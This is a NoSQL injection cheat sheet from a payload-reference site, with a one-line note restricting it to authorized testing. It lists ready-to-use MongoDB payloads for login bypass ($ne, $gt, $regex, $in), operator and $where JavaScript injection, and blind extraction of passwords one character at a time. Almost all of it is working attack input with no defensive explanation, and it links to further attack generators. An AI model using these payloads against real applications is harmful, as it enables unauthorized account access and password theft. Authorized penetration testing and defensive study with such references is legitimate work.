# NoSQL Injection Cheat Sheet

> NoSQL injection payloads for MongoDB, CouchDB, and other NoSQL databases.

Source: https://payloadplayground.com/cheatsheets/nosql-injection

For authorized security testing only.

## MongoDB Auth Bypass

- `{"username": {"$ne": ""}, "password": {"$ne": ""}}` — Not-equal operator bypass (JSON)
- `username[$ne]=&password[$ne]=` — Not-equal via query params
- `{"username": {"$gt": ""}, "password": {"$gt": ""}}` — Greater-than operator bypass
- `username[$regex]=.*&password[$regex]=.*` — Regex match-all bypass
- `{"username": {"$in": ["admin", "root"]}, "password": {"$ne": ""}}` — $in operator with common usernames
- `{"username": "admin", "password": {"$exists": true}}` — $exists check bypass

## Operator Injection

- `{"$where": "this.username == 'admin'"}` — $where JavaScript injection
- `{"$where": "function() { return true; }"}` — $where always-true function
- `{"username": {"$regex": "^adm"}}` — Regex prefix matching
- `{"price": {"$gt": 0, "$lt": 1}}` — Range query manipulation
- `{"$or": [{"username": "admin"}, {"username": "root"}]}` — $or operator for multiple users

## Blind Extraction

- `username=admin&password[$regex]=^a` — Extract password char-by-char (a)
- `username=admin&password[$regex]=^ab` — Extract password prefix (ab...)
- `{"username": "admin", "password": {"$regex": "^.{8}$"}}` — Determine password length
- `{"username": {"$regex": "^.{0,5}$"}}` — Find usernames by length

## Related

- [NoSQL Injection generator](https://payloadplayground.com/generators/nosql-injection)
- [SQL Injection generator](https://payloadplayground.com/generators/sqli)
- [SQL Injection Cheat Sheet](https://payloadplayground.com/cheatsheets/sql-injection.md)
- [JWT Attacks Cheat Sheet](https://payloadplayground.com/cheatsheets/jwt-attacks.md)
